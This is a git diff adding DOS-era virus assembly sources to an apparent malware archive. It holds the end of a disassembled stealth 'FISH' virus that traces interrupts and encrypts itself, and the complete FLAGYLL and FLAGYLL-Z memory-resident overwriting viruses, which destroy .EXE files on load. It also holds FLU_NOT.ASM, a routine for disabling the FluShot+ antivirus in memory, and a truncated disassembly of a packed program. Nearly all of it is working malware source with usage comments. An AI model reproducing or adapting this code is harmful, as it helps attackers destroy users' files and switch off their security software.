INT 21 + cmp cx,7C7h + jb loc_82 ; Jump if below + mov ah,9 + push cs + pop ds + mov dx,1ABh + call sub_1 ; Call INT 21 + hlt ; Halt processor +loc_82: + call sub_3 ; Pop flags and registers + retn +sub_24 endp + +dos_3F: + and byte ptr cs:data_85,0FEh ; (cs:0EB3=0) + call sub_22 ; (098E) + jz loc_81 ; Jump if zero + mov cs:buf_adr,dx ; (cs:0EAD=0) + mov cs:data_83,cx ; (cs:0EAF=0) + mov cs:data_84,0 ; (cs:0EB1=0) + call sub_23 ; (09AC) + mov ax,cs:file_pos1 ; (cs:0EA9=0) + mov dx,cs:file_pos1+2 ; (cs:0EAB=0) + sub ax,vir_len + sbb dx,0 + sub ax,cs:file_pos ; (cs:0EA5=0) + sbb dx,cs:file_pos+2 ; (cs:0EA7=0) + jns loc_84 ; Jump if not sign + mov word ptr [bp-4],0 + jmp loc_43 ; (04DD) +loc_84: + jnz loc_85 ; Jump if not zero + cmp ax,cx + ja loc_85 ; Jump if above + mov cs:data_83,ax ; (cs:0EAF=0) +loc_85: + mov cx,cs:file_pos+2 ; (cs:0EA7=0) + mov dx,cs:file_pos ; (cs:0EA5=0) + or cx,cx ; Zero ? + jnz loc_86 ; Jump if not zero + cmp dx,1Ch + jbe loc_87 ; Jump if below or = +loc_86: + mov dx,cs:buf_adr ; (cs:0EAD=0) + mov ah,3Fh ; Read from file with handle + mov cx,cs:data_83 ; (cs:0EAF=0) + call sub_1 ; Call INT 21 + add ax,cs:data_84 ; (cs:0EB1=0) + mov [bp-4],ax + jmp dos_0F ; (0381) +loc_87: + mov di,dx + mov si,dx + add di,cs:data_83 ; (cs:0EAF=0) + cmp di,1Ch + jb loc_88 ; Jump if below + xor di,di ; Zero register + jmp short loc_89 ; (0B02) + + db 'TUNA' + +loc_88: + sub di,1Ch + neg di +loc_89: + mov ax,dx + mov dx,cs:file_pos1 ; (cs:0EA9=0) + mov cx,cs:file_pos1+2 ; (cs:0EAB=0) + add dx,0Fh + adc cx,0 + and dx,0FFF0h + sub dx,vir_end-data_23 + sbb cx,0 + add dx,ax + adc cx,0 + mov ax,4200h + call sub_1 ; Call INT 21 + mov cx,1Ch + sub cx,di + sub cx,si + mov ah,3Fh + mov dx,cs:buf_adr ; (cs:0EAD=0) + call sub_1 ; Call INT 21 + add cs:buf_adr,ax ; (cs:0EAD=0) + sub cs:data_83,ax ; (cs:0EAF=0) + add cs:data_84,ax ; (cs:0EB1=0) + xor cx,cx ; Zero register + mov ax,4200h + mov dx,1Ch + call sub_1 ; Call INT 21 + jmp loc_86 ; (0ACD) + +sub_25: +loc_91: and cs:_null__,sp ; (cs:0E31=0) + jmp loc_97 ; (0C97) + +dos_4E_4F: and cs:data_85,0FFFEh ; (cs:0EB3=0) + call sub_3 ; Pop flags and registers + call sub_1 ; Call INT 21 + call sub_2 ; Push flags and registers + jnc loc_93 ; Jump if carry=0 + or cs:data_85,1 ; (cs:0EB3=0) + jmp dos_0F ; (0381) +loc_93: + call sub_14 ; (0515) + test byte ptr [bx+19h],80h + jnz loc_94 ; Jump if not zero + jmp dos_0F ; (0381) +loc_94: + sub word ptr [bx+1Ah],0E00h + sbb word ptr [bx+1Ch],0 + sub byte ptr [bx+19h],0C8h + jmp dos_0F ; (0381) + + db 0EBh + +sub_26: + mov es,old_DS ; (cs:0E45=26Eh) + push es + pop ds + dec byte ptr ds:PSP_0003 ; (026E:0003=0) + mov dx,ds + dec dx + mov ds,dx + mov ax,ds:MCB_0003 ; (026D:0003=2020h) + dec ah + add dx,ax + mov ds:MCB_0003,ax ; (026D:0003=2020h) + pop di + inc dx + mov es,dx + push cs + pop ds + call sub_29 ; (0C97) + db 0A1h + mov si,all_len-2 ; (0FFE) + mov cx,all_len/2 + mov di,si + std ; Set direction flag + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + push es + mov ax,offset loc_4_1 + push ax + mov es,cs:old_DS ; (cs:0E45=26Eh) + retf ; Return far + +sub_27: + mov byte ptr cs:err_flag,0 ; (cs:0EDA) + call sub_5 ; Push all in vir's stack + push cs + call sub_25 ; (0B57) + db 088h + mov al,13h + pop ds + call sub_9 ; Get INT 13 vector + mov INT_13_prt+2,es ; (cs:0E2F) + mov INT_13_prt,bx ; (cs:0E2D) + mov word ptr old_I13+2,es ; (cs:0E3B=140Bh) + mov dl,2 + mov word ptr old_I13,bx ; (cs:0E39=0) + mov byte ptr data_73,dl ; (cs:0E50=0) + call sub_7 ; Set INT 01 to tracer + mov data_93,sp ; (cs:0EDF) + mov data_92,ss ; (cs:0EDD) + push cs + mov ax,offset loc_95 ; 0C29 + push ax + mov ax,70h + mov cx,0FFFFh + mov es,ax + xor di,di ; Zero register + mov al,0CBh ; ret far opcode + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + dec di + pushf + push es + push di + pushf + pop ax + or ah,1 ; Set TF + push ax + popf + xor ax,ax ; Zero register + jmp dword ptr INT_13_prt ; (cs:0E2D=0) +loc_95: + push cs + pop ds + call sub_29 ; (0C97) + db 08Ch + mov al,13h + mov dx,offset INT_13 + call sub_8 ; Set INT 13 vector + mov al,24h + call sub_9 ; Get INT 24 vector + mov word ptr old_I24,bx ; (cs:0E3D) + mov dx,offset INT_24 + mov al,24h + mov word ptr old_I24+2,es ; (cs:0E3F) + call sub_8 ; Set INT 24 vector + call sub_4 ; Pop all from vir's stack + retn + +sub_28: + call sub_5 ; Push all in vir's stack + lds dx,cs:old_I13 ; (cs:0E39) Load 32 bit ptr + mov al,13h + call sub_8 ; Set INT 13 vector + lds dx,cs:old_I24 ; (cs:0E3D) Load 32 bit ptr + mov al,24h + call sub_8 ; Set INT 24 vector + call sub_4 ; Pop all from vir's stack + retn + +int_1: push bp + mov bp,sp + and word ptr [bp+6],0FEFFh + inc word ptr [bp+1Ah] + pop bp + iret + +loc_96: + mov cs:data_73,401h ; (cs:0E50=0) + call sub_7 ; Set INT 01 to tracer + call sub_3 ; Pop flags and registers + push ax + mov ax,cs:data_85 ; (cs:0EB3=0) + or ax,100h + push ax + popf + pop ax + pop bp + jmp dword ptr cs:INT_21_ptr ; (cs:0E35=0) + + db 089h + +; +; SUBROUTINE +; + +sub_29 proc near +loc_97: + call sub_2 ; Push flags and registers + mov al,1 + mov dx,offset int_1 + push cs + pop ds + call sub_8 ; Set INT 01 vector + pushf + pop ax + or ax,100h + push ax + popf + inc ax + mul ax ; dx:ax = reg * ax + aaa ; Ascii adjust + mov _null__,ax ; (cs:0E31=0) + call sub_3 ; Pop flags and registers + retn +sub_29 endp + + db 0FFh + +tracer: push bp + mov bp,sp + push ax + cmp word ptr [bp+4],0C000h + jae loc_99 ; Jump if above or = + mov ax,cs:data_69 ; (cs:0E47) + cmp [bp+4],ax ; Is it DOS segment? + jbe loc_99 ; Jump if below or = +loc_98: pop ax + pop bp + iret +loc_99: + cmp byte ptr cs:data_73,1 ; (cs:0E50=0) + je loc_101 ; Jump if equal + mov ax,[bp+4] + mov cs:INT_13_prt+2,ax ; (cs:0E2F=SEGMENT) + mov ax,[bp+2] + mov cs:INT_13_prt,ax ; (cs:0E2D=OFFSET) + jb loc_100 ; Jump if below + pop ax + pop bp + mov sp,cs:data_93 ; (cs:0EDF=0) + mov ss,cs:data_92 ; (cs:0EDD=151Ch) + jmp loc_95 ; (0C29) +loc_100: + and word ptr [bp+6],0FEFFh + jmp short loc_98 ; (0CCB) +loc_101: + dec byte ptr cs:data_73+1 ; (cs:0E51) + jnz loc_98 + and word ptr [bp+6],0FEFFh ; Stop tracing + call sub_5 ; Push all in vir's stack + call sub_2 ; Push flags and registers + mov ah,2Ch ; Get current time + call sub_1 ; Call INT 21 + mov byte ptr cs:[locloop_102+3],dl ; (cs:0D51=5Dh) + mov byte ptr cs:[locloop_103+3],dl ; (cs:0D6E=5Dh) + sub ah,2 ; ah=2A - Get current date + call sub_1 ; Call INT 21 + add dh,dl + mov byte ptr cs:[locloop_105+3],dh ; (cs:0D84=15h) + mov byte ptr cs:[locloop_109+3],dh ; (cs:0DDC=15h) + mov al,3 + call sub_9 ; Get INT 03 vector + push es + pop ds + mov dx,bx + mov al,1 + call sub_8 ; Set INT 01 vector + call sub_3 ; Pop flags and registers + call sub_6 ; Swap JMP xxxx:xxxx + call sub_4 ; Pop all from vir's stack + push bx + push cx + mov bx,offset data_311 ; (cs:0028=0) + mov cx,287h +locloop_102: xor byte ptr cs:[bx],5Dh + add bx,5 + loop locloop_102 ; Loop if cx > 0 + pop cx + pop bx + jmp short loc_100 ; (0CF5) + +loc_1021: or byte ptr cs:data_311,0 ; (cs:0028=0) + jz loc_104 ; Jump if zero + push bx + push cx + mov bx,offset data_311 ; (cs:0028=0) + mov cx,287h +locloop_103: xor byte ptr cs:[bx],5Dh + add bx,5 + loop locloop_103 ; Loop if cx > 0 + pop cx + pop bx +loc_104: jmp loc_9 ; (026C) + + +; +; SUBROUTINE +; + +sub_30 proc near + push cx + push bx + mov bx,offset data_311 ; (cs:0028=0) + mov cx,encr_len +locloop_105: xor byte ptr cs:[bx],15h + inc bx + loop locloop_105 ; Loop if cx > 0 + pop bx + pop cx + call sub_1 ; Call INT 21 + jmp short virus_entry ; (0DCE) +sub_30 endp + + db 0BAh + +INT_13: + pop cs:usr_adr ; (cs:0E41=0) + pop word ptr cs:usr_adr+2 ; (cs:0E43=0) + pop cs:data_91 ; (cs:0EDB=0) + and cs:data_91,0FFFEh ; (cs:0EDB=0) + cmp byte ptr cs:err_flag,0 ; (cs:0EDA=0) + jne loc_106 + push cs:data_91 ; (cs:0EDB=0) + call dword ptr cs:INT_13_prt ; (cs:0E2D=0) + jnc loc_107 + inc cs:err_flag ; (cs:0EDA=0) +loc_106: stc ; Set carry flag +loc_107: jmp dword ptr cs:usr_adr ; (cs:0E41=0) + + db 089h + +INT_24: xor al,al + mov byte ptr cs:err_flag,1 ; (cs:0EDA=0) + iret + +virus_entry: call sub_31 ; (0DD1) +sub_31: pop bx + sub bx,sub_31-data_311 + mov cx,encr_len +locloop_109: xor byte ptr cs:[bx],15h + inc bx + loop locloop_109 ; Loop if cx > 0 + dec byte ptr cs:data_33e[bx] ; (cs:00B3+BX) = cs:0E33 + jz loc_ret_110 ; terminate program and don't run the virus ??? + jmp loc_7 ; (024A) +loc_ret_110: retn + + db ' FISH FISH FISH FISH ' +vir_end: + + org 0E00h + +buffer dw ? +data_41 dw ? +data_43 dw ?, ? +data_44 dw ? +data_45 dw ? +data_46 dw ? +data_47 dw ? +data_48 dw ?, ? +data_49 dw ? +data_50 dw ? + dw 6 dup (?) +data_51 dw ?, ? +drive_num db ? +data_54 dw ? +file_date dw ? +INT_13_prt dw ?, ? +_null__ dw ? +data_59 db ?, ? +INT_21_ptr dd ? +old_I13 dd ? +old_I24 dd ? +usr_adr dw ?, ? +old_DS dw ? +data_69 dw ? + dw ? +data_70 db ? +data_71 dw ? +data_72 dw ? +data_73 dw ? +file_name db 80 dup (?) +data_76 db ? +data_77 dw ? +file_pos dw ?, ? +file_pos1 dw ?, ? +buf_adr dw ? +data_83 dw ? +data_84 dw ? +data_85 dw ? +data_86 db 14 dup (?) +data_87 dw ? +data_88 dd ? + db ? +data_89 db 16 dup (?) +err_flag db ? +data_91 dw ? +data_92 dw ? +data_93 dw ?, ? +old_AX dw ? + db ? +data_95 dw ? +data_96 dw ? +tmp_adr dw ? +data_98 dw ? + db ? +data_99 db ? +data_100 db ? +data_101 db ? +file_attr dw ? +data_103 dw ? +data_104 dw ? + db 7 dup(?) +data_105 dw ? +data_106 dw ? +data_107 dd ? +data_109 db 80 dup (?) +old_SP dw ? +old_SS dw ? +virus_SP dw ? + +seg_a ends + + end + \ No newline at end of file diff --git a/f/FLAGYLL.ASM b/f/FLAGYLL.ASM new file mode 100755 index 0000000..78a95ff --- /dev/null +++ b/f/FLAGYLL.ASM @@ -0,0 +1,236 @@ +;FLAGYLL virus - edited for Crypt Newsletter 13 +;FLAGYLL is a memory resident, overwriting virus which +;infects and destroys .EXE files on load. +;It updates the infected files time/date stamps to the time of +;infection so it can easily be followed. +;.EXE's infected by FLAGYLL are destroyed. DOS will either +;refuse to load them or FLAGYLL will become resident +;as they execute. These programs are ruined and can only +;be deleted. + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endflagyll +filelength equ endflagyll - begin +nameptr equ endflagyll+4 +DTA equ endflagyll+8 + + + + + + + +begin: jmp install_flagyll + + + + ; install +install_flagyll: + + mov ax,cs ; reduce memory size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last memory + jne cancel ; block + mov ax,ds:[0003] + sub ax,100 ; decrease memory + mov ds:0003,ax + + +copy_flagyll: + mov bx,ax ; copy to claimed block + mov ax,es ; PSP + add ax,bx ; virus start in memory + mov es,ax + mov cx,offset endflagyll - begin ; cx = length of virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin] ; point to start of virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in memory + + + +hook_21: + + mov ds,cx ; hook interrupt 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to virus + int 21h + +cancel: ret + +check_exec: ; look over loaded files + pushf ; for executables + + push es ; push everything onto the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is a file being + ; executed ? + + + jne abort ; no, exit + +do_infect: + call infect ; then try to infect + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +exit: + ; exit + jmp dword ptr cs:[oi21] + +infect: + jmp over_id ; it's a vanity thing + +note: db '-=[Crypt Newsletter 13]=-' + + +over_id: + + + + mov cs:[name_seg],ds ; this routine + mov cs:[name_off],dx ; essentially grabs + ; the name of the file + cld ; clear direction flags + mov word ptr cs:[nameptr],dx ; save pointer to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ; get old DTA + int 21h + push es + push bx + + push cs ; set new DTA + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call host_ident ; find filename for virus + push di + mov si,offset COM_txt ; is extension 'COM' ? + + mov cx,3 + rep cmpsb + pop di + jz return ; if so, let it pass by + mov si,offset EXE_txt ; is extension .EXE ? + nop + mov cl,3 + rep cmpsb + jnz return + + + +do_exe: ; infect host, destroying it + + mov ax,4300h ; clear attributes + mov ds,cs:[name_seg] + mov dx,cs:[name_off] + int 21h + and cl,0FEh + mov ax,4301h + int 21h + + mov ds,cs:[name_seg] ; open file read/write + mov dx,cs:[name_off] + mov ax,3D02h + int 21h + jc close_file + push cs + pop ds + mov [handle],ax + mov bx,ax + + push cs + pop ds + mov ax,4200h ;set pointer to beginning of host + + push cs + pop ds + mov bx,[handle] ;handle to BX + xor cx,cx + xor dx,dx + int 21h + + + + mov ah,40 ;write to file + mov cx,filelength ;virus length in cx + mov dx,100 ;start write at beginning of Flagyll + int 21h ;do it + +close_file: mov bx,[handle] + mov ah,03Eh ;close file, name -->BX + int 21h + + mov ax,4C00h ;exit to DOS + int 21h + + + + +return: mov ah,1Ah + pop dx ; restore old DTA + pop ds + int 21H + + ret ; let DOS regain control + + +host_ident: les di,dword ptr cs:[nameptr] ; finds filename for + mov ch,0FFh ; host selection + mov al,0 + repnz scasb + sub di,4 + ret + + + + +EXE_txt db 'EXE',0 ; extension masks +COM_txt db 'COM',0 ; for host selection + +name_seg dw ? ;data buffers for +name_off dw ? ; viral use on the fly +handle dw ? + +note2: db 'Flagyll' ; virus name + +endflagyll: + +cseg ends + end begin + + + diff --git a/f/FLAGYLLZ.ASM b/f/FLAGYLLZ.ASM new file mode 100755 index 0000000..93603e4 --- /dev/null +++ b/f/FLAGYLLZ.ASM @@ -0,0 +1,251 @@ +;FLAGYLL-Z virus - edited for Crypt Newsletter 13 +;FLAGYLL is a memory resident, overwriting virus which +;infects and destroys .EXE files on load. +;FLAGYLL-Z's infections are modulated by a routine which +;uses the system clock as a random trigger. When .EXEfiles +;are loaded, FLAGYLL-Z will only infect if the current +;time - in seconds - is below 10. +;FLAGYLL-Z preserves the time-date stamps of infected files. +;.EXE's infected by FLAGYLL-Z are destroyed. DOS will either +;refuse to load them or FLAGYLL-Z will become resident +;as they execute. These programs are ruined and can only +;be deleted. + + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endflagyll +filelength equ endflagyll - begin ; virus length +nameptr equ endflagyll+4 +DTA equ endflagyll+8 + +begin: jmp install_flagyll + ; install +install_flagyll: + + mov ax,cs ; reduce memory size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last memory + jne cancel ; block + mov ax,ds:[0003] + sub ax,100 ; decrease memory + mov ds:0003,ax + + +copy_flagyll: + mov bx,ax ; copy to claimed block + mov ax,es ; PSP + add ax,bx ; virus start in memory + mov es,ax + mov cx,offset endflagyll - begin ; cx = length of virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin] ; point to start of virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in memory + +hook_21: + + mov ds,cx ; hook interrupt 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to virus + int 21h + +cancel: ret + +check_exec: ; look over loaded files + pushf ; for executables + + push es ; push everything onto the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is a file being + ; executed ? + + + jne abort ; no, exit + +do_infect: + + + call infect ; then try to infect + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +exit: + ; exit + jmp dword ptr cs:[oi21] + + + +infect: + jmp over_id ; it's a vanity thing + +note: db '-=[Crypt Newsletter 13]=-' + + +over_id: + mov cs:[name_seg],ds ; this routine + mov cs:[name_off],dx ; essentially grabs + ; the name of the file + cld ; clear direction flags + mov word ptr cs:[nameptr],dx ; save pointer to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ; get old DTA + int 21h + push es + push bx + + push cs ; set new DTA + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint ; find filename for virus + push di + mov si,offset COM_txt ; is extension 'COM' ? + + mov cx,3 + rep cmpsb + pop di + jz return ; if so, let it pass by + mov si,offset EXE_txt ; is extension .EXE ? + nop + mov cl,3 + rep cmpsb + jnz return + + mov ah,2Ch ; DOS get system time. + int 21h ; <--alter values to suit + cmp dh,10 ; is seconds > 10? + jg return ; if so, be quiet + ; this slows down the + ; infection so computing is + ; horribly disrupted when the +do_exe: ; virus is in memory + + mov ax,4300h ; clear attributes + mov ds,cs:[name_seg] + mov dx,cs:[name_off] + int 21h + and cl,0feh + mov ax,4301h + int 21h + + mov ds,cs:[name_seg] ; open file read/write + mov dx,cs:[name_off] + mov ax,3D02h + int 21h + jc close_file + push cs + pop ds + mov [handle],ax + mov bx,ax + +get_date: mov ax,5700h + int 21h + push cs + pop ds + mov [date],dx + mov [time],cx + + push cs + pop ds + mov ax,4200h ; move pointer to beginning of file + + push cs + pop ds + mov bx,[handle] + xor cx,cx + xor dx,dx + int 21h + + mov ah,40 ; write to file + mov cx,filelength ; length of Flagyll in CX + mov dx,100 ; start at beginning of Flagyll + int 21h ; write Flagyll to file + + call restore_date + +close_file: mov bx,[handle] + mov ah,03Eh ; close file + int 21h + + mov ax,4C00h ; exit to DOS + int 21h + +return: mov ah,1Ah + pop dx ; restore old DTA + pop ds + int 21H + + ret + + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + +restore_date: + push cs + pop ds + mov bx,[handle] + mov dx,[date] + mov cx,[time] + mov ax,5701h + int 21h + ret + + + + +EXE_txt db 'EXE',0 ; extension masks +COM_txt db 'COM',0 ; for host selection + +name_seg dw ? ; data buffers for virus action +name_off dw ? ; on the fly +handle dw ? +time dw ? +date dw ? +note2: db 'Flagyll-Z' ; virus name + +endflagyll: + + +cseg ends + end begin + + + diff --git a/f/FLU_NOT.ASM b/f/FLU_NOT.ASM new file mode 100755 index 0000000..d7bf1c6 --- /dev/null +++ b/f/FLU_NOT.ASM @@ -0,0 +1,91 @@ +; FLU_NOT.ASM Routines to be linked into your FluShot+ resistant +; programs. +; Version 1.0 27 November 1991 +; +; Written by Dark Angel and Demogorgon of PHALCON/SKISM Co-op +; Look for more Anti-Anti-Viral Utilities from us! +; +; Notes: +; This is different from the C routines. Call Flu_Not to disable and +; Flu_Restore to reenable (at the end of your program, of course). Try +; not to call Flu_Not more than once in your program. To disable again, +; simply use: +; les si, dword ptr flu_off +; mov es:[si], 593Ch +; (actually, this probably won't work in the .ASM file, but you can write +; the routine yourself and put it in this file.) + + Public Flu_Not, Flu_Restore +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE + org 100h + +flu_off dd 0 +flu_seg dd 0 + +Flu_Not Proc Near + push ax + push bx + push bp + mov word ptr cs:[flu_seg], 0 + + mov ax, 0FF0Fh ; Check if FluShot+ resident + int 21h + cmp ax, 0101h + jnz No_puny_flus ; If not, no work to be done +Kill_Puny_Flus: ; Otherwise, find the + push es ; FluShot+ segment + + xor ax, ax + mov es, ax + mov bx, 004Eh ; Get int 13h handler's + mov ax, es:[bx] ; segment + mov es, ax ; ES is now FSEG - YES! + + mov bp, 1000h ; Start at FSEG:1000 +Froopy_Loopy: + cmp word ptr es:[bp], 593Ch ; Try to find marker bytes + jz Happy_Loop ; NOTE: No need to set + inc bp ; counter because FluShot+ + jmp Froopy_Loopy ; is guaranteed to be in +Happy_Loop: ; memory by the INT 21h call + cmp word ptr es:[bp], 'RP' ; Look backwards for the + jz Found_It_Here ; beginning of the function + dec bp + jmp Happy_Loop +; If you are paranoid, you can add other checks, such as +; (in Froopy_Loopy) cmp bp, 5000h, jz No_Puny_Flus and +; (in Happy_Loop) cmp bp, 1000h, jz No_Puny_Flus, but there +; is really no need. +Found_It_Here: + mov word ptr es:[bp], 0C3F8h ; Key to everything - replace + mov word ptr cs:[flu_seg], es ; function's starting bytes + mov word ptr cs:[flu_off], bp ; Save the flu_offset + pop es +No_Puny_Flus: + pop bp + pop bx + pop ax + ret +Flu_Not Endp + +Flu_Restore Proc Near + push ax + push bx + push es + les bx, dword ptr cs:[offset flu_off] ; Load ES:BX with Seg:Off + mov ax, es + or ax, ax + jz No_FluShot + + mov word ptr es:[bx], 5250h + +No_FluShot: + pop es + pop bx + pop ax + ret +Flu_Restore Endp + +CODE ENDS + END diff --git a/f/FONTA.ASM b/f/FONTA.ASM new file mode 100755 index 0000000..de54844 --- /dev/null +++ b/f/FONTA.ASM @@ -0,0 +1,671 @@ + +PAGE 59,132 + +; +; +; FONTA +; +; Created: 19-Jan-92 +; Code type: special +; Passes: 5 Analysis Options on: none +; +; + +data_28e equ 1003h ;* +data_29e equ 1232h ;* +data_30e equ 180Ch ;* +data_33e equ 2005h ;* +data_36e equ 2412h ;* +data_38e equ 3079h ;* +data_47e equ 7830h ;* +data_50e equ 91F0h ;* +data_51e equ 99BDh ;* +data_53e equ 0A901h ;* +data_56e equ 0B3A1h ;* +data_60e equ 0BD01h ;* +data_61e equ 0BF04h ;* +data_70e equ 0F601h ;* +data_71e equ 0F630h ;* +data_72e equ 0F712h ;* + +;-------------------------------------------------------------- seg_a ---- + +seg_a segment byte public + assume cs:seg_a , ds:seg_a + + mov ax,3463h + mov dx,75Ch + cmp ax,sp + jae loc_2 ; Jump if above or = + mov ax,sp + sub ax,344h + and ax,0FFF0h + mov di,ax + mov cx,0A2h + mov si,17Ch + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + mov bx,ax + mov cl,4 + shr bx,cl ; Shift w/zeros fill + mov cx,ds + add bx,cx + push bx + xor bx,bx ; Zero register + push bx + retf ; Return far + db 0Dh, 01h, 41h + db 'nother Fine aHa/nBa Elite/WareZZ' + db 'ZZZZZZZZZZZZZZZZNot enough memor' + db 'y$' +loc_2: + mov ax,900h + mov dx,15Fh + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; DOS program terminate + nop + std ; Set direction flag + mov di,ax + dec di + dec di + mov si,offset data_22 + add si,dx + mov cx,dx + shr cx,1 ; Shift w/zeros fill + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + cld ; Clear direction + xchg si,di + inc si + inc si + mov di,100h + lodsw ; String [si] to ax + xchg ax,bp + mov dx,10h + jmp short loc_12 + db 90h +loc_3: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_14 +loc_4: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_15 +loc_5: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_16 +loc_6: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_20 +loc_7: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_21 +loc_8: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_22 +loc_9: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jmp short loc_23 +loc_10: + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h + jc loc_13 ; Jump if carry Set +loc_11: + movsb ; Mov [si] to es:[di] +loc_12: + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_10 ; Jump if zero + jnc loc_11 ; Jump if carry=0 +loc_13: + xor cx,cx ; Zero register + xor bx,bx ; Zero register + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_3 ; Jump if zero +loc_14: + rcl bx,1 ; Rotate thru carry + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_4 ; Jump if zero +loc_15: + rcl bx,1 ; Rotate thru carry + test bx,bx + jz loc_18 ; Jump if zero + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_5 ; Jump if zero +loc_16: + rcl bx,1 ; Rotate thru carry + cmp bl,6 + jb loc_18 ; Jump if below + shr bp,1 ; Shift w/zeros fill + dec dx + jnz loc_17 ; Jump if not zero + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h +loc_17: + rcl bx,1 ; Rotate thru carry +loc_18: + mov cl,byte ptr cs:[11Ch][bx] + cmp cl,0Ah + je loc_26 ; Jump if equal +loc_19: + xor bx,bx ; Zero register + cmp cx,2 + je loc_25 ; Jump if equal + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_6 ; Jump if zero +loc_20: + jc loc_25 ; Jump if carry Set + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_7 ; Jump if zero +loc_21: + rcl bx,1 ; Rotate thru carry + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_8 ; Jump if zero +loc_22: + rcl bx,1 ; Rotate thru carry + shr bp,1 ; Shift w/zeros fill + dec dx + jz loc_9 ; Jump if zero +loc_23: + rcl bx,1 ; Rotate thru carry + cmp bl,2 + jae loc_27 ; Jump if above or = +loc_24: + mov bh,byte ptr cs:[12Ch][bx] +loc_25: + lodsb ; String [si] to al + mov bl,al + push si + mov si,di + sub si,bx + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop si + jmp short loc_12 +loc_26: + lodsb ; String [si] to al + add cl,al + adc ch,0 + cmp al,0FFh + jne loc_19 ; Jump if not equal + jmp short loc_31 +loc_27: + shr bp,1 ; Shift w/zeros fill + dec dx + jnz loc_28 ; Jump if not zero + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h +loc_28: + rcl bx,1 ; Rotate thru carry + cmp bl,8 + jb loc_24 ; Jump if below + shr bp,1 ; Shift w/zeros fill + dec dx + jnz loc_29 ; Jump if not zero + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h +loc_29: + rcl bx,1 ; Rotate thru carry + cmp bl,17h + jb loc_24 ; Jump if below + shr bp,1 ; Shift w/zeros fill + dec dx + jnz loc_30 ; Jump if not zero + lodsw ; String [si] to ax + xchg ax,bp + mov dl,10h +loc_30: + rcl bx,1 ; Rotate thru carry + and bx,0DFh + xchg bl,bh + jmp short loc_25 +loc_31: + xor ax,ax ; Zero register + push es + mov bx,100h + push bx + mov bx,ax + mov cx,ax + mov dx,ax + mov bp,ax + mov si,ax + mov di,ax + retf ; Return far + db 03h, 00h, 02h, 0Ah, 04h, 05h + db 00h, 00h, 00h, 00h, 00h, 00h + db 06h, 07h, 08h, 09h, 01h, 02h + db 00h, 00h, 03h, 04h, 05h, 06h + db 00h + db 7 dup (0) + db 07h, 08h, 09h, 0Ah, 0Bh, 0Ch + db 0Dh, 90h,0A0h, 00h,0EBh, 33h + db 90h, 0Dh, 20h, 01h, 0Dh, 0Ah + db 20h, 41h, 6Eh, 6Fh, 00h, 00h + db 'ther fine aHa/nB' + db 0C0h + db 9, 'a WAREZ' + db 01h, 00h, 1Ah, 03h, 00h, 40h + db 02h, 01h, 01h, 04h, 7Ah, 10h + db 00h, 01h,0B8h, 00h, 05h,0CDh + db 10h,0B4h, 0Fh, 01h, 80h, 04h + db 0BFh, 2Ch, 01h, 8Ah, 25h, 3Ah + db 0C4h, 74h, 06h, 8Ah,0C4h, 32h + db 0E4h, 02h + db 45h +loc_33: +;* pop cs ; Dangerous 8088 only + db 0Fh + mov bp,163h + mov di,data_29e + cmp ax,1B9h + or ah,[bp+di] + xor dx,dx ; Zero register + xor bl,bl ; Zero register + mov ax,1110h + adc al,0C3h + nop + sbb ax,50h + pop es + add [bp-7Fh],di + movsw ; Mov [si] to es:[di] + add word ptr ds:data_51e[bx+di],284Eh + add al,7Eh ; '~' + adc [si-2],bh + db 0FEh,0D6h, 03h,0B8h,0A9h,0BAh + db 0C6h,0FEh, 